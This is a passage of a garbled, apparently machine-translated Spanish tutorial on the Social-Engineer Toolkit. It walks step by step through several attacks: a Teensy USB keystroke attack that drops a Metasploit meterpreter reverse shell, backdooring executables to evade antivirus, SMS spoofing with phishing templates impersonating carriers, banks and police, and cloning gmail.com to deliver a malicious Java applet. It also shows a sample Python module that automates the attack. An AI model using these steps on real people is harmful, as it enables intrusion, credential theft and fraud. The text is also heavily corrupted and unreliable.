'l hacer un ls?al en el SET se debe notar que hay una carpeta CautorunC. .rabar el contenido de ese
directorio en un ):) o rabar en un dispositivo 5S;. 5na vez insertado, se presentar con una shell.
PZQ =endn4 sta4e (%.0/.. bytes) to ,%-.,(.&-.,&,
PZQ Meterpreter sesson , opened (,%-.,(.&-.,-)M..& 1> ,%-.,(.&-.,&,M,&&&) at 2"u
=ep ') ,-M.-M&- 1'.'' -','
PZQ =esson B7 , (,%-.,(.&-.,-)M..& 1> ,%-.,(.&-.,&,M,&&&) processn4
BntalDuto?un=crpt Am4rate 1fA
PZQ Current ser5er processM ja5a.e!e (0-.)
PZQ =pawnn4 a notepad.e!e "ost process...
PZQ M4ratn4 nto process B7 &'..
PZQ Lew ser5er processM notepad.e!e (&'..)
msf e!plot(ms')I''-ImemoryIcorrupton) >
Teensy 5S; "4) 'ttac3 :ector
El Teensy 5S; "4) vector de ataque es una notable combinacin de hard2are personalizado y
restricciones sin pasar por la emulacin de teclado. Tradicionalmente, cuando se inserta un ):) > $)
o 5S; si est desactivada, el autorun.inf no se conoce y no puede e%ecutar cdio de forma automtica.
$on el dispositivo "4) Teensy base se puede emular un teclado y un ratn. $uando se inserta el
dispositivo en el que se detecta como un teclado, y con el microprocesador y el almacenamiento a
bordo de memoria flash se puede enviar un con%unto muy rpido de las pulsaciones de teclas en la
mquina y completamente compromiso. 5sted puede ordenar un dispositivo Teensy de alrededor de OF
dlares http=>>222.pr%c.com. 6pidamente despu!s de que )avid *ennedy, +osh *elley, y hablar
'drian $re2sha2 en los dispositivos Teensy, un hac3 /SE sali la utilizacin de los dispositivos
Teensy y actualmente estn pendientes de entrea en el momento de escribir este tutorial.
:amos a confiurar nuestro dispositivo Teensy hacer un descarador de (Script de una cara
&etasploit. A<u! va a ocurrir aqu es que un archivo 2script peque0os se rabar en la que se descara
un archivo e%ecutable y e%ecutarlo. Esta ser nuestra capacidad de cara &etasploit y se mane%an a
trav!s del 3it de herramientas de inenieria?social?.
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM (
Eelcome to t"e 2eensy >B7 Dttac# 8ector.
=pecal t"an#s toM Bron;ee# and En6an4
2"e 2eensy >B7 Dttac# 8ector utl+es t"e teensy <=$ de5ce to
pro4ram t"e de5ce to act as a #eyboard. 2eensyAs "a5e onboard
stora4e and can allow for remote code e!ecuton on t"e p"yscal
system. =nce t"e de5ces are re4stered as <=$ XeyboardAs t
wll bypass any autorun dsabled or endpont protecton on t"e
system.
Jou wll need to purc"ase t"e 2eensy <=$ de5ceR tAs rou4"ly
c-- dollars. 2"s attac# 5ector wll auto 4enerate t"e code
needed n order to deploy t"e payload on t"e system for you.
2"s attac# 5ector wll create t"e .pde fles necessary to mport
nto Drduno (t"e B73 used for pro4rammn4 t"e 2eensy). 2"e attac#
5ectors ran4e from Powers"ell based downloadersR wscrpt attac#sR
and ot"er met"ods.
6or more nformaton on specfcatons and 4ood tutorals 5stM
"ttpM**www.ron4ee#.com*.p"pWpa4e=securty*pro4rammable1"d1usb1#eystro#e1don4le
2o purc"ase a 2eensyR 5stM "ttpM**www.pjrc.com*store*teensy."tml
=elect a payload to create t"e pde fle to mport nto DrdunoM
,. Powers"ell >22P ;32 M=6 Payload
-. E=C?BP2 >22P ;32 M=6 Payload
&. Powers"ell based ?e5erse ="ell
.. ?eturn to t"e man menu.
3nter your c"oceM -
7o you want to create a payload and lstener yes or noM yes
E"at payload do you want to 4enerateM
LameM 7escrptonM
,. Endows ="ell ?e5erseI2CP =pawn a command s"ell on 5ctm and
send bac# to attac#er.
-. Endows ?e5erseI2CP Meterpreter =pawn a meterpreter s"ell on 5ctm and
send bac# to attac#er.
&. Endows ?e5erseI2CP 8LC 7CC =pawn a 8LC ser5er on 5ctm and send
bac# to attac#er.
.. Endows $nd ="ell 3!ecute payload and create an acceptn4
port on remote system.
/. Endows $nd ="ell K(. Endows !(. Command ="ellR $nd 2CP
Bnlne
(. Endows ="ell ?e5erseI2CP K(. Endows K(. Command ="ellR ?e5erse 2CP
Bnlne
%. Endows Meterpreter ?e5erseI2CP K(. Connect bac# to t"e attac#er (Endows
!(.)R Meterpreter
0. Endows Meterpreter 34ress $uster =pawn a meterpreter s"ell and fnd a
port "ome 5a multple ports
). Bmport your own e!ecutable =pecfy a pat" for your own e!ecutable
3nter c"oce ("t enter for default)M
$elow s a lst of encodn4s to try and bypass D8.
=elect one of t"e belowR Abac#doored e!ecutableA s typcally t"e best.
,. a5odIutf0Itolower (Lormal)
-. s"#ataI4aIna (8ery ;ood)
&. alp"aIm!ed (Lormal)
.. alp"aIupper (Lormal)
/. call.IdwordI!or (Lormal)
(. countdown (Lormal)
%. fnsten5Imo5 (Lormal)
0. jmpIcallIaddt5e (Lormal)
). nonalp"a (Lormal)
,'. nonupper (Lormal)
,,. uncodeIm!ed (Lormal)
,-. uncodeIupper (Lormal)
,&. alp"a- (Lormal)
,.. Lo 3ncodn4 (Lone)
,/. Mult13ncoder (3!cellent)
,(. $ac#doored 3!ecutable ($3=2)
3nter your c"oce (enter for default)M
P1Q 3nter t"e P9?2 of t"e lstener (enter for default)M
P1Q $ac#doorn4 a le4t e!ecutable to bypass Dnt18rus. Eat a few seconds...
P1Q $ac#door completed successfully. Payload s now "dden wt"n a le4t
e!ecutable.
PZQ P73 fle created. Jou can 4et t under Areports*teensy.pdeA
PZQ $e sure to select :2ools:R :$oard:R and :2eensy -.' (<=$*X3J$9D?7): n Drduno
Press enter to contnue.
PZQ Caunc"n4 M=6 Cstener...
PZQ 2"s may ta#e a few to load M=6...
P1Q ZZZ
P1Q Z ED?LBL;M Lo database supportM =trn4 <ser 7sabled 7atabase =upport
P1Q ZZZ
IIIIIIIIIIII
< metasplot >
111111111111
\ RIIR
\ (oo)IIII
(II) )\
[[11[[ Z
=P metasplot 5&...-1de5 PcoreM&.. apM,.'Q
U 11 11=P /00 e!plots 1 &'' au!lary
U 11 11=P --. payloads 1 -% encoders 1 0 nops
=P s5n r,'-(0 updated today (-','.').'))
resource (src*pro4ramIjun#*metaIconf4)> use e!plot*mult*"andler
resource (src*pro4ramIjun#*metaIconf4)> set PDJC9D7
wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
resource (src*pro4ramIjun#*metaIconf4)> set C>9=2 '.'.'.'
C>9=2 => '.'.'.'
resource (src*pro4ramIjun#*metaIconf4)> set CP9?2 ..&
CP9?2 => ..&
resource (src*pro4ramIjun#*metaIconf4)> set 3!t9n=esson false
3!t9n=esson => false
resource (src*pro4ramIjun#*metaIconf4)> e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
msf e!plot("andler) >
PZQ =tarted re5erse "andler on '.'.'.'M..&
PZQ =tartn4 t"e payload "andler...
'hora que ya tenemos todo listo, las exportaciones de establecer un archivo llamado teensy.pde a los
informes > carpeta. $opia de los informes que la carpeta donde tenas instalado 'rduino. $on este
ataque, sia las instrucciones en /6+$ sobre cmo carar el cdio en el tablero Teensyi 4-ts
relativamente sencillo= slo tienes que instalar el estor de Teensy y las bibliotecas Teensy. 5na vez que
lo que va a tener una interfaz 4)E llamado 'rduino. 5no de los aspectos ms importantes de esto es
aseurarse de confiurar su tar%eta a un Teensy teclado > ratn 5S;.
5na vez que tena esta opcin activada, arrastre el archivo de la /)E en la interfaz de 'rduino.
'rduino > 7inux soporta Teensy, ,SN y (indo2s. 4nserte el dispositivo 5S; en el ordenador y carar
el cdio. Esto se prorama el dispositivo con el con%unto de cdios enerados. ' continuacin se
muestra el payload y el cdio.
5na vez que el dispositivo 5S; se inserta en la mquina de la vctima el cdio se e%ecuta y una vez
terminado, se le presentar con una shell meterpreter.
S&S Spoofin 'ttac3 :ector
/eque0a pista aqu, este mdulo es slo el comienzo de una nueva plataforma de ataque con%unto mvil
de nueva versin de SET. 7a ente de la T;?Security.com introdu%o el mdulo de suplantacin de S&S.
Este mdulo le permitir parodia de su nDmero de tel!fono y enviar un S&S. Esto sera beneficioso
para los ataques de ineniera social que utiliza la credencial de harvester. &s ataques que se estn en
este.
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM %
Eelcome to t"e =32 =M= =poofn4 Dttac# met"od. 2"s module allows you
to specally craft =M= messa4es and send t"em to a person. Jou can spoof
t"e =M= source.
2"s module was created by t"e team at 2$1=ecurty.com.
Jou can use a predefned templateR create your own template or specfy
an arbtrary messa4e. 2"e man met"od for t"s would be to 4et a user to
clc# or coa! t"em on a ln# n t"er browser and steal credentals or perform
ot"er attac# 5ectors.
,. Perform a =M= =poofn4 Dttac#
-. Create a =ocal13n4neern4 2emplate
&. ?eturn to Man Menu
3nter your c"oceM ,
=M= Dttac# Menu
2"ere are dferent attac#s you can launc" n t"e conte!t of =M= spoofn4R
select your own.
E"at do you want to doM
,. =M= Dttac# =n4le P"one Lumber
-. =M= Dttac# Mass =M=
&. ?eturn to =M= =poofn4 Menu
3nter your c"oceM ,
=n4le =M= Dttac#
3nter w"o you want to send sms toM //////////
7o you want to use a predefned template or craft
a one tme =M=.
,. Pre17efned 2emplate
-. 9ne12me <se =M=
&. Cancel and return to =M= =poofn4 Menu
3nter your c"oceM ,
$elow s a lst of a5alable templatesM
,M M?EM peddo no entre4ado
-M $oss 6a#e
&M Mo5starM publcdad no#a 4rats
.M Mo5starM publcdad tarfa llamada
/M 2M$M temps espera
(M Mo5starM publcdad ?9CX?B9
%M Mo5starM publcdad 5erano nternet
0M 8odafone 6ool
)M Polce 6a#e
,'M Mo5starM publcdad na5dad
,,M Ja5oyM re4alo ya5oy
,-M Mo5starM oferta otogho
,&M Mo5starM publcdad tarfa sms
,.M teablaM mo5les 4rats
,/M Mo5starM publcdad aramon
,(M Mo5starM publcdad ne5e
,%M 8odafoneM publcdad nue5o contrato
,0M rural5aM confrmacon de transferenca
,)M Mnstero 55endaM ncdenca pa4o
-'M 2u $ancoM 5sa dsponble en ofcna
3nter t"e number you want to useM -
=er5ce =electon
2"ere are dferent ser5ces you can use for t"e =M= spoofn4R select
your own.
E"at do you want to doM
,. =o"o9= (bu44y)
-. Cleda.net (pay)
&. =M=;DL; (pay)
.. Dndrod 3mulator (need to nstall Dndrod 3mulator)
/. Cancel and return to =M= =poofn4 Menu
3nter your c"oceM ,
=M= sent
=32 "as completed.
SET 'utomation
SET tiene una funcin llamada Cset?automatizarC, que tendr un archivo de respuesta Kcomo se explica
en un seundoM y escriba los comandos en el modo de menD para usted. /or e%emplo, en recorridos
antes de que usted tiene que entrar en cada menD cada vez que preparar el ataque. 's, por e%emplo, si
quiero hacer el applet de +ava que yo hara lo siuiente=
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM -
2"e =ocal13n4neer 2ool#t :Eeb Dttac#: 5ector s a un@ue way of
utl+n4 multple web1based attac#s n order to compromse t"e
ntended 5ctm.
3nter w"at type of attac# you would l#e to utl+e.
2"e ba5a Dpplet attac# wll spoof a ba5a Certfcate and
del5er a metasplot based payload. <ses a custom+ed
ja5a applet created by 2"omas Eert" to del5er
t"e payload.
2"e Metasplot browser e!plot met"od wll utl+e select
Metasplot browser e!plots t"rou4" an frame and del5er
a Metasplot payload.
2"e Credental >ar5ester Met"od wll utl+e web clonn4
of a webste t"at "as a username and password feld and
"ar5est all t"e nformaton posted to t"e webste.
2"e 2abLabbn4 Met"od wll wat for a user to mo5e to a
dfferent tabR t"en refres" t"e pa4e to somet"n4 dfferent.
2"e Man Ceft n t"e Mddle Dttac# Met"od was ntroduced by
Xos and utl+es >22P ?363?3?As n order to ntercept felds
and "ar5est data from t"em. Jou need to "a5e an already 5ulnerable
ste and ncorporate <scrpt src=:"ttpM**J9<?BP*:>. 2"s could et"er
be from a compromsed ste or t"rou4" K==.
2"e web jac#n4 attac# met"od was ntroduced by w"teIs"eepR 3m4ent
and t"e $ac#[2rac# team. 2"s met"od utl+es frame replacements to
ma#e t"e "4"l4"ted <?C ln# to appear le4tmate "owe5er w"en clc#ed
a wndow pops up t"en s replaced wt" t"e malcous ln#. Jou can edt
t"e ln# replacement settn4s n t"e setIconf4 f ts too slow*fast.
2"e mult1attac# wll add a combnaton of attac#s t"rou4" t"e web attac#
menu. 6or e!ample you can utl+e t"e ba5a DppletR Metasplot $rowserR
Credental >ar5ester*2abnabbn4R and t"e Man Ceft n t"e Mddle attac#
all at once to see w"c" s successful.
,. 2"e ba5a Dpplet Dttac# Met"od
-. 2"e Metasplot $rowser 3!plot Met"od
&. Credental >ar5ester Dttac# Met"od
.. 2abnabbn4 Dttac# Met"od
/. Man Ceft n t"e Mddle Dttac# Met"od
(. Eeb bac#n4 Dttac# Met"od
%. Mult1Dttac# Eeb Met"od
0. ?eturn to t"e pre5ous menu
3nter your c"oce (press enter for default)M ,
2"e frst met"od wll allow =32 to mport a lst of pre1defned
web applcatons t"at t can utl+e wt"n t"e attac#.
2"e second met"od wll completely clone a webste of your c"oosn4
and allow you to utl+e t"e attac# 5ectors wt"n t"e completely
same web applcaton you were attemptn4 to clone.
2"e t"rd met"od allows you to mport your own websteR note t"at you
s"ould only "a5e an nde!."tml w"en usn4 t"e mport webste
functonalty.
P!Q Eebste Dttac# 8ectors P!Q
,. Eeb 2emplates
-. =te Cloner
&. Custom Bmport
.. ?eturn to man menu
3nter number (,1.)M -
=32 supports bot" >22P and >22P=
3!ampleM "ttpM**www.t"ssafa#este.com
3nter t"e url to cloneM "ttpsM**4mal.com
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
PZQ Bnjectn4 ba5a Dpplet attac# nto t"e newly cloned webste.
PZQ 6lename obfuscaton complete. Payload name sM 0b/o5r'lC)tE
PZQ Malcous ja5a applet webste prepped for deployment
E"at payload do you want to 4enerateM
LameM 7escrptonM
,. Endows ="ell ?e5erseI2CP =pawn a command s"ell on 5ctm and
send bac# to attac#er.
-. Endows ?e5erseI2CP Meterpreter =pawn a meterpreter s"ell on 5ctm and
send bac# to attac#er.
&. Endows ?e5erseI2CP 8LC 7CC =pawn a 8LC ser5er on 5ctm and send
bac# to attac#er.
.. Endows $nd ="ell 3!ecute payload and create an acceptn4
port on remote system.
/. Endows $nd ="ell K(. Endows !(. Command ="ellR $nd 2CP
Bnlne
(. Endows ="ell ?e5erseI2CP K(. Endows K(. Command ="ellR ?e5erse 2CP
Bnlne
%. Endows Meterpreter ?e5erseI2CP K(. Connect bac# to t"e attac#er (Endows
!(.)R Meterpreter
0. Endows Meterpreter 34ress $uster =pawn a meterpreter s"ell and fnd a
port "ome 5a multple ports
). Endows Meterpreter ?e5erse >22P= 2unnel communcaton o5er >22P usn4
==C and use Meterpreter
,'. Endows Meterpreter ?e5erse 7L= 2unnel communcatons o5er 7L= and
spawn a Meterpreter console
,,. Bmport your own e!ecutable =pecfy a pat" for your own e!ecutable
3nter c"oce ("t enter for default)M
$elow s a lst of encodn4s to try and bypass D8.
=elect one of t"e belowR Abac#doored e!ecutableA s typcally t"e best.
,. a5odIutf0Itolower (Lormal)
-. s"#ataI4aIna (8ery ;ood)
&. alp"aIm!ed (Lormal)
.. alp"aIupper (Lormal)
/. call.IdwordI!or (Lormal)
(. countdown (Lormal)
%. fnsten5Imo5 (Lormal)
0. jmpIcallIaddt5e (Lormal)
). nonalp"a (Lormal)
,'. nonupper (Lormal)
,,. uncodeIm!ed (Lormal)
,-. uncodeIupper (Lormal)
,&. alp"a- (Lormal)
,.. Lo 3ncodn4 (Lone)
,/. Mult13ncoder (3!cellent)
,(. $ac#doored 3!ecutable ($3=2)
3nter your c"oce (enter for default)M
P1Q 3nter t"e P9?2 of t"e lstener (enter for default)M
P1Q $ac#doorn4 a le4t e!ecutable to bypass Dnt18rus. Eat a few seconds...
P1Q $ac#door completed successfully. Payload s now "dden wt"n a le4t
e!ecutable.
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
7o you want to create a Cnu!*9=K re5erseItcp payload
n t"e ba5a Dpplet attac# as wellW
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
3nter c"oce yes or noM no
Mirando a trav0s de las opciones6 seleccionamos=
,
-
,
"ttpsM**4mal.com
no
Si crea un archivo de texto llamado moo.txt o lo que quieras y de entrada que en !l se pueden
automatizar de establecimiento de llamada y se la escriba por usted cada vez.
rootGbtM*pentest*e!plots*setH .*set1automate moo.t!t
PZQ =pawnn4 =32 n a t"readed process...
PZQ =endn4 command , to t"e nterface...
PZQ =endn4 command - to t"e nterface...
PZQ =endn4 command , to t"e nterface...
PZQ =endn4 command "ttpsM**4mal.com to t"e nterface...
PZQ =endn4 command default to t"e nterface...
PZQ =endn4 command default to t"e nterface...
PZQ =endn4 command default to t"e nterface...
PZQ =endn4 command no to t"e nterface...
PZQ =endn4 command default to t"e nterface...
PZQ 6ns"ed sendn4 commandsR nteractn4 wt" t"e nterface..
SET (eb?4nterface
7a interfaz 2eb para el *it de herramientas de inenieria?social? toma lo que usted seleccione y enera
un archivo de respuesta que finalmente se coloca en con%unto?automatizar. $ada respuesta le asina un
valor determinado y el construido en la inteliencia en el bac3?end analiza sus respuestas en la
construccin y la fabricacin artesanal del ataque en SET. /ara activar la interfaz 2eb simplemente
escriba. > Set?2eb
rootGbtM*pentest*e!plots*setH .*set1web
PZQ =tartn4 t"e =32 Command Center on portM .....
[ [
[ [
[ 2"e =ocal13n4neer 2ool#t [
[ Command Center [
[ [
[ May t"e pwn be wt" you [
[IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII[
Dll results from t"e web nterface wll be dsplayed
n t"s termnal.
PZQ Bnterface s bound to "ttpM**,-%.'.'., on port ..... (open browser to p*port)
5na vez que la 4nterfaz (eb $,9+59T, est e%ecutando, vaya a localhost= IIIII. SET slo se
escucha en el servidor local, no ser capaz de llear a !l de forma remota.
7a interfaz 2eb se explica por si mismo si usted est familiarizado con el modo de menD. 5na cosa a
notar es que en el menD de la actualizacin, te dars cuenta de que puede editar de forma dinmica las
opciones de confiuracin. 'l uardar la nueva confiuracin en el archivo, lo que realmente se
propaan las diferentes opciones en los diferentes menDs. /or e%emplo, si se activa la auto?firmado?
applets en ,9, las nuevas opciones que aparecen en el menD de ataque 2eb. )e lo contrario, las
opciones se mantendr oculto. /ara lanzar un ataque, simplemente haa clic en uno de los vectores de
ataque, rellene el siuiente ataque apropiado y olpe de ataque de lanzamiento. $ompruebe la ventana
que se puso en marcha la interfaz 2eb en, y usted debera ver que el ataque se puso en marcha.
)evelopin your o2n SET modules
,l desarrollo de su propio con?unto de mdulos
En la versin O.J introdu%o los mdulos de biblioteca central y la posibilidad de a0adir mdulos de
terceros en la SET. En esencia, la carpeta que se encuentra en el con%unto raz CmdulosC puede a0adir
adiciones o me%oras a SET y sumar las contribuciones adicionales a la ca%a de herramientas. 7o primero
a destacar es que cuando se area una nueva C. /yC archivo en el directorio de mdulos, que sern
automticamente importados en un con%unto en C&dulos de tercerosC. ' continuacin se muestra un
e%emplo de un mdulo de prueba=
H
H 2"ese are re@ured felds
H
mport sys
H swtc" o5er to mport core
sys.pat".append(:src*core:)
H mport t"e core modules
tryM reload(core)
e!ceptM mport core
MDBL=:2"s s a test module:
D<2>9?=:7a5e i?eC,Xj da5e#Gsocal1en4neer.or4:
H def man()M "eader s re@ured
def man()M
core.ja5aIappletIattac#(:"ttpsM**4mal.com:R:..&:R:reports*:)
pause=rawInput(:2"s module "as fns"ed completn4. Press to contnue:)
En este e%emplo, creamos un mdulo simple que va a utilizar el applet %ava de ataque, el clon de un
sitio 2eb y lanzar el ataque para nosotros. Se ocupa de la creacin de los payloads de &etasploit y todo
para nosotros. En Dltima instancia, puede crear lo que quieras usando la funcin de llamadas interado
en SET o crear uno propio. 'hora bien, si corremos SET=
rootGbtM*pentest*e!plots*setH .*set
..HHHHHH..HHHHHHHH.HHHHHHHH
.HH....HH.HH..........HH...
.HH.......HH..........HH...
..HHHHHH..HHHHHH......HH...
.......HH.HH..........HH...
.HH....HH.HH..........HH...
..HHHHHH..HHHHHHHH....HH...
Eelcome to t"e =ocal13n4neer 2ool#t (=32). Jour one
stop s"op for all of your socal1en4neern4 needs..
7erbyCon -',, =ep&'19ct'- 1 "ttpM**www.derbycon.com
=elect from t"e menuM
,. =pear1P"s"n4 Dttac# 8ectors
-. Eebste Dttac# 8ectors
&. Bnfectous Meda ;enerator
.. Create a Payload and Cstener
/. Mass Maler Dttac#
(. 2eensy <=$ >B7 Dttac# 8ector
%. =M= =poofn4 Dttac# 8ector
0. 2"rd Party Modules
). <pdate t"e Metasplot 6ramewor#
,'. <pdate t"e =ocal13n4neer 2ool#t
,,. >elpR CredtsR and Dbout
,-. 3!t t"e =ocal13n4neer 2ool#t
3nter your c"oceM 0
Eelcome to t"e =ocal13n4neer 2ool#t 2"rd Party Modules menu.
Please read t"e readme*modules.t!t for more nformaton on "ow to create your
own modules.
,. 2"s s a test module
-. ?eturn to t"e pre5ous menu.
3nter t"e module you want to useM ,
P1Q $ac#doorn4 a le4t e!ecutable to bypass Dnt18rus. Eat a few seconds...
P1Q $ac#door completed successfully. Payload s now "dden wt"n a le4t
e!ecutable.
PZQ <PK 3ncodn4 s set to 9LR attemptn4 to pac# t"e e!ecutable wt" <PK
encodn4.
PZQ 74tal =4nature =tealn4 s 9LR "jac#n4 a le4t d4tal certfcate.
PZQ 3!ecutable created under src*pro4ramIjun#*aj#,X%El.e!e
PZQ Clonn4 t"e websteM "ttpsM**4mal.com
PZQ 2"s could ta#e a lttle bt...
PZQ Bnjectn4 ba5a Dpplet attac# nto t"e newly cloned webste.
PZQ 6lename obfuscaton complete. Payload name sM m&Crp$cbjm,&u
PZQ Malcous ja5a applet webste prepped for deployment
=te "as been successfully cloned and sM reports*
PZQ =tartn4 t"e mult*"andler t"rou4" Metasplot...
o 0 o o
0 0 0
ooJoJo. .oPJo. o0P .oPJo. .oPJo. .oPJo. 0 .oPJo. o0 o0P
0A 0 0 0oooo0 0 .oooo0 Jb.. 0 0 0 0 0 0 0
0 0 0 0. 0 0 0 AJb. 0 0 0 0 0 0 0
0 0 0 ^JoooA 0 ^JooP0 ^JooPA 0JooPA 0 ^JooPA 0 0
..M..M..M.....MMM..MM.....MM.....M0.....M..M.....MM..MM..M
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
=P metasplot 5&.(.'1de5 PcoreM&.( apM,.'Q
U 11 11=P (.. e!plots 1 &-0 au!lary
U 11 11=P -,( payloads 1 -% encoders 1 0 nops
=P s5n r,,(&0 updated today (-',,.',.-/)
resource (*pentest*e!plots*set*src*pro4ramIjun#*msfIanswerfle)> use
mult*"andler
resource (*pentest*e!plots*set*src*pro4ramIjun#*msfIanswerfle)> set payload
wndows*meterpreter*re5erseItcp
payload => wndows*meterpreter*re5erseItcp
resource (*pentest*e!plots*set*src*pro4ramIjun#*msfIanswerfle)> set C>9=2
'.'.'.'
C>9=2 => '.'.'.'
resource (*pentest*e!plots*set*src*pro4ramIjun#*msfIanswerfle)> set CP9?2 ..&
CP9?2 => ..&
resource (*pentest*e!plots*set*src*pro4ramIjun#*msfIanswerfle)> e!plot 1j
PZQ 3!plot runnn4 as bac#4round job.
PZQ =tarted re5erse "andler on '.'.'.'M..&
PZQ =tartn4 t"e payload "andler...
msf e!plot("andler) >
msf e!plot("andler) >
msf e!plot("andler) > e!t
2"s module "as fns"ed completn4. Press to contnue
< ,ore;metaIpath CD Y )evuelve la ruta del directorio Metasploit en el setIcon'ig
< ,ore;grabIipaddress CD Y )evuelve la direccin 0P ue se utili.a para los ataues
< ,ore;chec+Ipexpect CD Y ,omprueba si el mdulo de Python est? instalado P($P(,4
< ,ore;chec+Ibeauti'ulsoup CD Y 2eri'iue si el mdulo de Python est? instalado -eauti'ul%oup
,ore;cleanupIroutine < CD la in'ormacin Y (liminado proceso viciado@ archivos@ etc
< ,ore;updateImetasploit CD Y Actuali.a el *rame"or+ de Metasploit
< ,ore;updateIset CD Y Actuali.a el :it de herramientas de ingenieria-social-
,ore;helpImenu < CD Y Muestra el men9 de ayuda
,ore;dateItime < CD Y Muestra la 'echa y hora
< ,ore;generateIrandomIstring Cbaja@ altaD Y genera un n9mero entre el rango bajo y alto Cal
a.arD; As ue usted podra utili.ar generateIrandomIstring C3@HOD y se crear? una cadena 9nica entre
3 y HO caracteres de largo
< ,ore;siteIcloner Cp?gina "eb@ exportPath@ < argsD Y clones de un sitio "eb y las exportaciones a
una ruta espec'ica; As@ por ejemplo@ podra utili.ar core;siteIcloner C>https=FFgmail;com>@ >reports F>D
y se copia la p?gina "eb y de exportacin en el directorio de in'ormes;
< ,ore;meterpreterIreverseItcpIexe CpuertoD Y crea una carga inversa meterpreter@ slo tendr? ue
especi'icar el puerto;
< ,ore;metasploitIlistenerIstart Ccapacidad de carga@ puertoD Y crea un detector meterpreter@ slo
es necesario especi'icar la payload Cpor ejemplo@ las ventanas F meterpreter F reverseItcpD y el puerto;
< ,ore;startI"ebIserver CdirectorioD Y 0nicia un servidor "eb en el directorio ra. se especi'ica@
por ejemplo core;startI"ebIserver C>in'ormes>D
,ore;javaIappletIattac+ Cp?gina "eb@ el puerto@ el directorioD Y ,lones un sitio "eb@ crea
bac+door meterpreter@ se inicia un servidor "eb y crea el oyente; (l puerto es el reverso
meterpreter puerto de escucha; ,ore;javaIappletIattac+ ejemplo
C>https=FFgmail;comZ@ZBBHZ@ZreportsF>D
< ,ore;teensyIpdeIgenerator Cattac+ImethodD Y ,rea un archivo teensy P)( puede utili.ar
para el vector de ataue teensy 5%- !0); 5sted puede llamar a los m7todos de ataue
siguientes= carne de res@ po"ershellIdo"n@ po"ershellIreverse@ javaIapplet y "script;
(jemplo= teensyIpdeIgenerator C>po"ershellIreverse>D